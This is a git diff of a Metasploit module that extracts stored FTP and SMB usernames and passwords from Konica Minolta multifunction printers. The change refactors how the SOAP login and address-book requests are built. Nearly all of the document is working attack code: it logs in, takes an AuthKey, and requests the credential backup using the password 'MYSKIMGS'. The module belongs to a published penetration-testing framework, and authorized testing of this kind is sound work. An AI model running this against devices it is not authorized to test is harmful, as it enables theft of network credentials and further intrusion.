1
- ##
2
- # This module requires Metasploit: http//metasploit.com/download
1
+ #
2
+ # This module requires Metasploit: http: //metasploit.com/download
3
3
# Current source: https://github.com/rapid7/metasploit-framework
4
4
##
5
5
@@ -17,7 +17,7 @@ def initialize(info = {})
17
17
'Description' => %q(
18
18
This module will extract FTP and SMB account usernames and passwords
19
19
from Konica Minolta mfp devices. Tested models include: C224, C280,
20
- 283, C353, C360, 363, 420, C452,C452, C452, C454e ) ,
20
+ 283, C353, C360, 363, 420, C452,C452, C452, C454e, C554 ) ,
21
21
'Author' =>
22
22
[
23
23
'Deral "Percentx" Heiland' ,
@@ -40,67 +40,79 @@ def initialize(info = {})
40
40
def generate_authkey_request_xlm ( major , minor )
41
41
user = datastore [ 'USER' ]
42
42
passwd = datastore [ 'PASSWD' ]
43
- xmlauthreq = '<SOAP-ENV:Envelope'
44
- xmlauthreq << "\n xmlns:SOAP-ENV='http://schemas.xmlsoap.org/soap/envelope/'"
45
- xmlauthreq << "\n xmlns:SOAP-ENC='http://schemas.xmlsoap.org/soap/encoding/'"
46
- xmlauthreq << "\n xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'"
47
- xmlauthreq << "\n xmlns:xsd='http://www.w3.org/2001/XMLSchema'>"
48
- xmlauthreq << '<SOAP-ENV:Header>'
49
- xmlauthreq << '<me:AppReqHeader'
50
- xmlauthreq << "\n xmlns:me='http://www.konicaminolta.com/Header/OpenAPI-#{ major } -#{ minor } '>"
51
- xmlauthreq << "<ApplicationID xmlns=''>0</ApplicationID>"
52
- xmlauthreq << "<UserName xmlns=''></UserName>"
53
- xmlauthreq << "<Password xmlns=''></Password>"
54
- xmlauthreq << "<Version xmlns=''>"
55
- xmlauthreq << "<Major>#{ major } </Major>"
56
- xmlauthreq << "<Minor>#{ minor } </Minor>"
57
- xmlauthreq << '</Version>'
58
- xmlauthreq << "<AppManagementID xmlns=''>0</AppManagementID>"
59
- xmlauthreq << '</me:AppReqHeader>'
60
- xmlauthreq << '</SOAP-ENV:Header>'
61
- xmlauthreq << '<SOAP-ENV:Body>'
62
- xmlauthreq << "<AppReqLogin xmlns='http://www.konicaminolta.com/service/OpenAPI-#{ major } -#{ minor } '>"
63
- xmlauthreq << '<OperatorInfo>'
64
- xmlauthreq << "<UserType>#{ user } </UserType>"
65
- xmlauthreq << "<Password>#{ passwd } </Password>"
66
- xmlauthreq << '</OperatorInfo>'
67
- xmlauthreq << '<TimeOut>60</TimeOut>'
68
- xmlauthreq << '</AppReqLogin>'
69
- xmlauthreq << '</SOAP-ENV:Body>'
70
- xmlauthreq << '</SOAP-ENV:Envelope>'
43
+ Nokogiri ::XML ::Builder . new do |xml |
44
+ xml . send ( 'SOAP-ENV:Envelope' ,
45
+ 'xmlns:SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/' ,
46
+ 'xmlns:SOAP-ENC' => 'http://schemas.xmlsoap.org/soap/encoding/' ,
47
+ 'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance' ,
48
+ 'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema' ) {
49
+ xml . send ( 'SOAP-ENV:Header' ) {
50
+ xml . send ( 'me:AppReqHeader' , 'xmlns:me' => "http://www.konicaminolta.com/Header/OpenAPI-#{ major } -#{ minor } " ) {
51
+ xml . send ( 'ApplicationID' , 'xmlns' => '' ) { xml . text '0' }
52
+ xml . send ( 'UserName' , 'xmlns' => '' ) { xml . text '' }
53
+ xml . send ( 'Password' , 'xmlns' => '' ) { xml . text '' }
54
+ xml . send ( 'Version' , 'xmlns' => '' ) {
55
+ xml . send ( 'Major' ) { xml . text "#{ major } " }
56
+ xml . send ( 'Minor' ) { xml . text "#{ minor } " }
57
+ }
58
+ xml . send ( 'AppManagementID' , 'xmlns' => '' ) { xml . text '0' }
59
+ }
60
+ }
61
+ xml . send ( 'SOAP-ENV:Body' ) {
62
+ xml . send ( 'AppReqLogin' , 'xmlns' => "http://www.konicaminolta.com/service/OpenAPI-#{ major } -#{ minor } " ) {
63
+ xml . send ( 'OperatorInfo' ) {
64
+ xml . send ( 'UserType' ) { xml . text "#{ user } " }
65
+ xml . send ( 'Password' ) { xml . text "#{ passwd } " }
66
+ }
67
+ xml . send ( 'TimeOut' ) { xml . text '60' }
68
+ }
69
+ }
70
+ }
71
+ end
71
72
end
72
73
73
- # Create XML data that will be sent to extract SMB passwords for devices
74
- def generate_smbpwd_request_xlm ( major , minor , authkey )
75
- xmlsmbreq = '<SOAP-ENV:Envelope'
76
- xmlsmbreq << "\n xmlns:SOAP-ENV='http://schemas.xmlsoap.org/soap/envelope/'"
77
- xmlsmbreq << "\n xmlns:SOAP-ENC='http://schemas.xmlsoap.org/soap/encoding/'"
78
- xmlsmbreq << "\n xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'"
79
- xmlsmbreq << "\n xmlns:xsd='http://www.w3.org/2001/XMLSchema'>"
80
- xmlsmbreq << '<SOAP-ENV:Header><me:AppReqHeader'
81
- xmlsmbreq << "\n xmlns:me='http://www.konicaminolta.com/Header/OpenAPI-#{ major } -#{ minor } '>"
82
- xmlsmbreq << "<ApplicationID xmlns=''>0</ApplicationID>"
83
- xmlsmbreq << "<UserName xmlns=''></UserName>"
84
- xmlsmbreq << "<Password xmlns=''></Password>"
85
- xmlsmbreq << "<Version xmlns=''><Major>#{ major } </Major>"
86
- xmlsmbreq << "<Minor>#{ minor } </Minor></Version>"
87
- xmlsmbreq << "<AppManagementID xmlns=''>1000</AppManagementID>"
88
- xmlsmbreq << '</me:AppReqHeader></SOAP-ENV:Header>'
89
- xmlsmbreq << "<SOAP-ENV:Body><AppReqGetAbbr xmlns='http://www.konicaminolta.com/service/OpenAPI-#{ major } -#{ minor } '>"
90
- xmlsmbreq << '<OperatorInfo>'
91
- xmlsmbreq << "<AuthKey>#{ authkey } </AuthKey>"
92
- xmlsmbreq << '</OperatorInfo><AbbrListCondition>'
93
- xmlsmbreq << '<SearchKey>None</SearchKey>'
94
- xmlsmbreq << '<WellUse>false</WellUse>'
95
- xmlsmbreq << '<ObtainCondition>'
96
- xmlsmbreq << '<Type>OffsetList</Type>'
97
- xmlsmbreq << '<OffsetRange><Start>1</Start><Length>100</Length></OffsetRange>'
98
- xmlsmbreq << '</ObtainCondition>'
99
- xmlsmbreq << '<BackUp>true</BackUp>'
100
- xmlsmbreq << '<BackUpPassword>MYSKIMGS</BackUpPassword>'
101
- xmlsmbreq << '</AbbrListCondition></AppReqGetAbbr>'
102
- xmlsmbreq << '</SOAP-ENV:Body>'
103
- xmlsmbreq << '</SOAP-ENV:Envelope>'
74
+ # Create XML data that will be sent to extract SMB and FTP passwords from device
75
+ def generate_pwd_request_xlm ( major , minor , authkey )
76
+ Nokogiri ::XML ::Builder . new do |xml |
77
+ xml . send ( 'SOAP-ENV:Envelope' ,
78
+ 'xmlns:SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/' ,
79
+ 'xmlns:SOAP-ENC' => 'http://schemas.xmlsoap.org/soap/encoding/' ,
80
+ 'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance' ,
81
+ 'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema' ) {
82
+ xml . send ( 'SOAP-ENV:Header' ) {
83
+ xml . send ( 'me:AppReqHeader' , 'xmlns:me' => "http://www.konicaminolta.com/Header/OpenAPI-#{ major } -#{ minor } " ) {
84
+ xml . send ( 'ApplicationID' , 'xmlns' => '' ) { xml . text '0' }
85
+ xml . send ( 'UserName' , 'xmlns' => '' ) { xml . text '' }
86
+ xml . send ( 'Password' , 'xmlns' => '' ) { xml . text '' }
87
+ xml . send ( 'Version' , 'xmlns' => '' ) {
88
+ xml . send ( 'Major' ) { xml . text "#{ major } " }
89
+ xml . send ( 'Minor' ) { xml . text "#{ minor } " }
90
+ }
91
+ xml . send ( 'AppManagementID' , 'xmlns' => '' ) { xml . text '1000' }
92
+ }
93
+ }
94
+ xml . send ( 'SOAP-ENV:Body' ) {
95
+ xml . send ( 'AppReqGetAbbr' , 'xmlns' => "http://www.konicaminolta.com/service/OpenAPI-#{ major } -#{ minor } " ) {
96
+ xml . send ( 'OperatorInfo' ) {
97
+ xml . send ( 'AuthKey' ) { xml . text "#{ authkey } " }
98
+ }
99
+ xml . send ( 'AbbrListCondition' ) {
100
+ xml . send ( 'SearchKey' ) { xml . text 'None' }
101
+ xml . send ( 'WellUse' ) { xml . text 'false' }
102
+ xml . send ( 'ObtainCondition' ) {
103
+ xml . send ( 'Type' ) { xml . text 'OffsetList' }
104
+ xml . send ( 'OffsetRange' ) {
105
+ xml . send ( 'Start' ) { xml . text '1' }
106
+ xml . send ( 'Length' ) { xml . text '100' }
107
+ }
108
+ }
109
+ xml . send ( 'BackUp' ) { xml . text 'true' }
110
+ xml . send ( 'BackUpPassword' ) { xml . text 'MYSKIMGS' }
111
+ }
112
+ }
113
+ }
114
+ }
115
+ end
104
116
end
105
117
106
118
# This next section will post the XML soap messages for information gathering.
@@ -129,21 +141,20 @@ def version
129
141
login ( major , minor )
130
142
end
131
143
132
- rescue ::Rex ::ConnectionRefused , :: Rex :: HostUnreachable , :: Rex :: ConnectionTimeout , :: Rex :: ConnectionError
144
+ rescue ::Rex ::ConnectionError
133
145
print_error ( "#{ peer } - Version check Connection failed." )
134
146
end
135
147
136
148
# This section logs on and retrieves AuthKey token
137
149
def login ( major , minor )
138
150
authreq_xml = generate_authkey_request_xlm ( major , minor )
139
-
140
151
# Send post request with crafted XML to login and retreive AuthKey
141
152
begin
142
153
response = send_request_cgi (
143
154
{
144
155
'uri' => '/' ,
145
156
'method' => 'POST' ,
146
- 'data' => " #{ authreq_xml } "
157
+ 'data' => authreq_xml . to_xml
147
158
} , datastore [ 'TIMEOUT' ] . to_i )
148
159
if response . nil?
149
160
print_error ( "#{ peer } - No reponse from device" )
@@ -154,7 +165,7 @@ def login(major, minor)
154
165
authkey = ( "#{ authkey_parse } " )
155
166
extract ( major , minor , authkey )
156
167
end
157
- rescue ::Rex ::ConnectionRefused , :: Rex :: HostUnreachable , :: Rex :: ConnectionTimeout , :: Rex :: ConnectionError
168
+ rescue ::Rex ::ConnectionError
158
169
print_error ( "#{ peer } - Login Connection failed." )
159
170
end
160
171
end
@@ -163,15 +174,14 @@ def login(major, minor)
163
174
def extract ( major , minor , authkey )
164
175
if ( authkey != '' )
165
176
# create xml request to extract user credintial settings
166
- smbreq_xml = generate_smbpwd_request_xlm ( major , minor , authkey )
167
-
177
+ smbreq_xml = generate_pwd_request_xlm ( major , minor , authkey )
168
178
# Send post request with crafted XML as data
169
179
begin
170
180
response = send_request_cgi (
171
181
{
172
182
'uri' => '/' ,
173
183
'method' => 'POST' ,
174
- 'data' => " #{ smbreq_xml } "
184
+ 'data' => smbreq_xml . to_xml
175
185
} , datastore [ 'TIMEOUT' ] . to_i )
176
186
if response . nil?
177
187
print_error ( "#{ peer } - No reponse from device" )
0 commit comments